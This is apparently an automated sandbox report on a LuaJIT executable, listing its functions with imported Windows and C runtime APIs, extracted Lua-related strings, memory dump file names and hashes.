Opcode ID: c3afe34d56b073810ade250f6c7973b9ef5f886303c28095954288b42dbd8d7d
Instruction ID: 9d5ebc34824a6ae907327a4961bf6dbd3622a32eb1058fcfa415b8038b617200
Opcode Fuzzy Hash: c3afe34d56b073810ade250f6c7973b9ef5f886303c28095954288b42dbd8d7d
Instruction Fuzzy Hash: C031CA63A1B742A2EE15FB02A420A76E2D4FF08BA0F891535DD1D87355DF3EE0459329

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B1F1B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF738B1F1E1
GetLastError.KERNEL32 ref: 00007FF738B1F1ED
CloseHandle.KERNEL32 ref: 00007FF738B1F205
CreateFileW.KERNEL32 ref: 00007FF738B1F230
WriteConsoleW.KERNEL32 ref: 00007FF738B1F24F

Strings

CONOUT$, xrefs: 00007FF738B1F211

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b0ca9c991d90a88812005bb169e0b0acbdb3826b13817d58da2bb6e22e5a5c46
Instruction ID: af8bde53efd4eff783f4040136d7d8eb058943c8518dd5b4a431a02d4bd993d4
Opcode Fuzzy Hash: b0ca9c991d90a88812005bb169e0b0acbdb3826b13817d58da2bb6e22e5a5c46
Instruction Fuzzy Hash: 9E119622718A8796E7509B52F844329E2A0FB88FE4F844234ED5D877A8CF3DD5049759

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A46760 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 386COMMONLIBRARYCODE

Download Yara Rule

Strings

=[C], xrefs: 00007FF738A469E7
Lua, xrefs: 00007FF738A469B7
main, xrefs: 00007FF738A469A6

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID:
String ID: =[C]$Lua$main
API String ID: 0-2004024069
Opcode ID: 98888c1c1b4fbd91893acc06f877c56911a3da836486efa45674046b72bb33cb
Instruction ID: ff1dec56d8d0c4e1335bd20ccc48312bfa4c2852e832ea3afb67f910105a2988
Opcode Fuzzy Hash: 98888c1c1b4fbd91893acc06f877c56911a3da836486efa45674046b72bb33cb
Instruction Fuzzy Hash: 72221733609B9585EB70DB19E0807AEFBA0F788B90F544126DA9D83BA8DF3DD440DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A5E430 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 62COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF738A5E452
LeaveCriticalSection.KERNEL32 ref: 00007FF738A5E535

Strings

J, xrefs: 00007FF738A5E4DF
C, xrefs: 00007FF738A5E4C4
N, xrefs: 00007FF738A5E4A2
I, xrefs: 00007FF738A5E4B3

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: C$I$J$N
API String ID: 3168844106-327184588
Opcode ID: 83ce02c18b74ab7690867f7129cd025f4307d28ad18693c6399902bf2de4f0be
Instruction ID: 1a5b7d5844336dafd69dbde823a39f49e0d97ead2d92157a5abfccd6d5220f1b
Opcode Fuzzy Hash: 83ce02c18b74ab7690867f7129cd025f4307d28ad18693c6399902bf2de4f0be
Instruction Fuzzy Hash: 7E313AB351D7818ADB60DB15E04062AFBA0F788B68F001226FBDE43B98CB7DD5419F18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFFCD0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738AFFD33
_set_statfp.LIBCMT ref: 00007FF738AFFD57

Strings

", xrefs: 00007FF738AFFDB4
cosh, xrefs: 00007FF738AFFD96

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: "$cosh
API String ID: 1156100317-3800341493
Opcode ID: 4ff544f207e6571879e34d33e517a1524432bb637838e2e3dc8f8d8d0094ffd6
Instruction ID: b00d82d540100a87e1d91a3d4a046ff06dbf2119aad8c3dd774e7ffc86bf1063
Opcode Fuzzy Hash: 4ff544f207e6571879e34d33e517a1524432bb637838e2e3dc8f8d8d0094ffd6
Instruction Fuzzy Hash: 45810632E28FC699D263AB30A4017B6F318BF5A3C5F509333D59E31A51DF3EA0829615

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE0978 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF738AE09A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF738AE0A88
__std_exception_copy.LIBVCRUNTIME ref: 00007FF738AE0BD4

Strings

csm, xrefs: 00007FF738AE0ADA
csm, xrefs: 00007FF738AE09C2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record__std_exception_copy
String ID: csm$csm
API String ID: 851805269-3733052814
Opcode ID: 66764fde3e1a62519f2eee85ab969929366ba9d51dab0d73a188cd519674cb36
Instruction ID: ce37741aa866586a25a82c7c4507c66efad4696a92981f3c3fb4181b38ca2caa
Opcode Fuzzy Hash: 66764fde3e1a62519f2eee85ab969929366ba9d51dab0d73a188cd519674cb36
Instruction Fuzzy Hash: 1561B2339097829AEB20AF21D450769F7A0FB54B98F884536DA8C47795CF3DF490EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A62AA0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

type_info::_name_internal_method.LIBCMTD ref: 00007FF738A62B08

Strings

true, xrefs: 00007FF738A62B8C
false, xrefs: 00007FF738A62B5A
builtin#, xrefs: 00007FF738A62C9F
nil, xrefs: 00007FF738A62B28

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: type_info::_name_internal_method
String ID: builtin#$false$nil$true
API String ID: 3713626258-3570738779
Opcode ID: b3ed43a0707a28e9115af90190efc957a42a7c81376a56ada5ae18f244965fa4
Instruction ID: f07cfca2f8301972de7290bf8b2c47ccf29055a7c8a9656e9e3ab4d7db7f48fc
Opcode Fuzzy Hash: b3ed43a0707a28e9115af90190efc957a42a7c81376a56ada5ae18f244965fa4
Instruction Fuzzy Hash: F661562361DA4595EA209B29E48052DF7A0F788BE4F904332EB9D877F8CF7DD1409B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A7B290 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738AFA440: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFA462

Part of subcall function 00007FF738AFA1F4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFA15D

_mbsncpy_s.LIBCMTD ref: 00007FF738A7B322

Strings

cont, xrefs: 00007FF738A7B2E5
lua_debug> , xrefs: 00007FF738A7B2BB
=(debug command), xrefs: 00007FF738A7B30B
(error object is not a string), xrefs: 00007FF738A7B372

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_mbsncpy_s
String ID: (error object is not a string)$=(debug command)$cont$lua_debug>
API String ID: 1341846612-1452030528
Opcode ID: 2243d252e4a85b275e312ea6a1b2425e11eba37f9292b294f5968ce13e20b1f3
Instruction ID: d30cf107beed8213e31adee4e7346566bdd78dda84a6a4d3ef944f4348af5dda
Opcode Fuzzy Hash: 2243d252e4a85b275e312ea6a1b2425e11eba37f9292b294f5968ce13e20b1f3
Instruction Fuzzy Hash: BA318A23A1E55261F760B751D852BFAE390EFC4784FC00135E94E46A95DE3EE101A728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A79610 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738A3CDE0: _free_nolock.LIBCMTD ref: 00007FF738A3CEFF

_mbsncpy_s.LIBCMTD ref: 00007FF738A796DC

Strings

no field package.preload['%s'], xrefs: 00007FF738A796EA
preload, xrefs: 00007FF738A79630
'package.preload' must be a table, xrefs: 00007FF738A7965A
luaJIT_BC_%s, xrefs: 00007FF738A79692

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _free_nolock_mbsncpy_s
String ID: no field package.preload['%s']$'package.preload' must be a table$luaJIT_BC_%s$preload
API String ID: 1937151238-4005544233
Opcode ID: ae728f4becdb446dc012175d8b8f057be525cdf9ebc50b6f98fe9e2db2f7ebdd
Instruction ID: 61df30305856c33be7d089beb3b9e146b137e6ee3a2a55287dc95d2a94702171
Opcode Fuzzy Hash: ae728f4becdb446dc012175d8b8f057be525cdf9ebc50b6f98fe9e2db2f7ebdd
Instruction Fuzzy Hash: D9218362A1DA8291D620BB65E8415ABE351FBC43B4F901332F9AD477D9CEBED400EB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFAD68 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF738AFAD84
GetProcAddress.KERNEL32 ref: 00007FF738AFAD9A
FreeLibrary.KERNEL32 ref: 00007FF738AFADB7

Strings

CorExitProcess, xrefs: 00007FF738AFAD93
mscoree.dll, xrefs: 00007FF738AFAD7B

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2d3564b58b9cb606e05f0e38798506940211f3724d7b41a856236d5833a03c23
Instruction ID: e529b39f49ee231e6f44e521e9255f8e5f14ebf6a4c37a0c5c93c61211ff3583
Opcode Fuzzy Hash: 2d3564b58b9cb606e05f0e38798506940211f3724d7b41a856236d5833a03c23
Instruction Fuzzy Hash: 0EF03062A1A68BA2EB446B10D8847B5E360FF88B85F841035D54F455A5CF3DF448D329

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0FCD8 Relevance: 7.7, APIs: 5, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738B0FD14
_set_statfp.LIBCMT ref: 00007FF738B0FD32
_set_statfp.LIBCMT ref: 00007FF738B0FD5B
_set_statfp.LIBCMT ref: 00007FF738B0FF14

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 799261281b30a15e4dafbe70f8b889fd4baea56ba5803dfc389231a0df8f540d
Instruction ID: 5cb52f84ecef105d5262d9aeef6bf779d2e54b9e91831814163b8f5d7a4d0d1c
Opcode Fuzzy Hash: 799261281b30a15e4dafbe70f8b889fd4baea56ba5803dfc389231a0df8f540d
Instruction Fuzzy Hash: 3651E853B08D8BA7E222BE34D800B76E251BF41394F948335E97E167D1DF3EA441A61B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0F880 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738B0F8A8
_set_statfp.LIBCMT ref: 00007FF738B0F8C3
_set_statfp.LIBCMT ref: 00007FF738B0F8DF
_set_statfp.LIBCMT ref: 00007FF738B0F91B

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 12683ee949a498a76d615f5c80dca171e6a4e98699c78b4ade9d4b7d37fa3cf1
Instruction ID: f85a50659b4d04a0011071653d21f867e691fede2ebc27a60c65133abba473b2
Opcode Fuzzy Hash: 12683ee949a498a76d615f5c80dca171e6a4e98699c78b4ade9d4b7d37fa3cf1
Instruction Fuzzy Hash: 8C115EA7F18A0767F6543164E442B79D5416F58360F840636E67E0A3D79F3EE840B12B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A78A50 Relevance: 7.5, APIs: 5, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF738A78A70
GetModuleHandleA.KERNEL32 ref: 00007FF738A78A7C
GetProcAddress.KERNEL32 ref: 00007FF738A78A91
GetModuleHandleExA.KERNEL32 ref: 00007FF738A78AB5
GetProcAddress.KERNEL32 ref: 00007FF738A78AC9

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID:
API String ID: 667068680-0
Opcode ID: 5bba9cc2eff1bf7a6b9eed0e22f4533ed8bb710fbb5761d34dfbe2c1f93b6363
Instruction ID: 67e3ef3cb7d84f0141dca548b1c1dc24dabd3c749e5c57a10053ae886cba6246
Opcode Fuzzy Hash: 5bba9cc2eff1bf7a6b9eed0e22f4533ed8bb710fbb5761d34dfbe2c1f93b6363
Instruction Fuzzy Hash: E7011732509A8691DA60AB14F48472BE7B1FB88794F904135EA8D42A7CCF3EE554EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0D7F8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0DAA1

Part of subcall function 00007FF738B1B130: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B1B14D

Strings

UTF-16LEUNICODE, xrefs: 00007FF738B0DA45
UTF-8, xrefs: 00007FF738B0DA24
ccs, xrefs: 00007FF738B0D9ED

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 62cfa22d59addd589a4e3312643b63144ee0171c148e141a576d728c4f9faa20
Instruction ID: e727f6fa6d2c3bb088517f8a7f1176779d62be8aece44dd2fd44cd81d5e4807a
Opcode Fuzzy Hash: 62cfa22d59addd589a4e3312643b63144ee0171c148e141a576d728c4f9faa20
Instruction Fuzzy Hash: 3281D4B3D0C243A9F7646A688944B38EB909F027C4FDD5235C629461D5CF3FA801B76B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE5C3C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5C7F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE5ECD

Strings

, xrefs: 00007FF738AE5C8B
*, xrefs: 00007FF738AE5DF5

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 0f06c74284d486cf50fce8b43e04ae6d09846b976987c370e94c47f60e81af7a
Instruction ID: 79032cd126fc998d722e81b9ed757283787292e384ce12ccc219169df54de4a7
Opcode Fuzzy Hash: 0f06c74284d486cf50fce8b43e04ae6d09846b976987c370e94c47f60e81af7a
Instruction Fuzzy Hash: C981937380E24696EB64BF25A04697CF7A0EB05B44F940837CA4946294EF3BF841E72D

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE4E50 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE4E87
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE4EC1

Strings

, xrefs: 00007FF738AE5090
*, xrefs: 00007FF738AE5026

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 1efd0dc201afb6cb2df87b51b1532de0c6c955aa486bde14bcc7542939fd6564
Instruction ID: 308ba86b2e4ac5eb632c4ca5b2969daf3c8259d4d444c305fd38c0d040d845d6
Opcode Fuzzy Hash: 1efd0dc201afb6cb2df87b51b1532de0c6c955aa486bde14bcc7542939fd6564
Instruction Fuzzy Hash: AD81A33380E642DAEB64AE25D04497CF794EB02B44F980837DA4947285DF3FF981E769

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE63E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE642B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AE6679

Strings

*, xrefs: 00007FF738AE65A1
, xrefs: 00007FF738AE6437

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

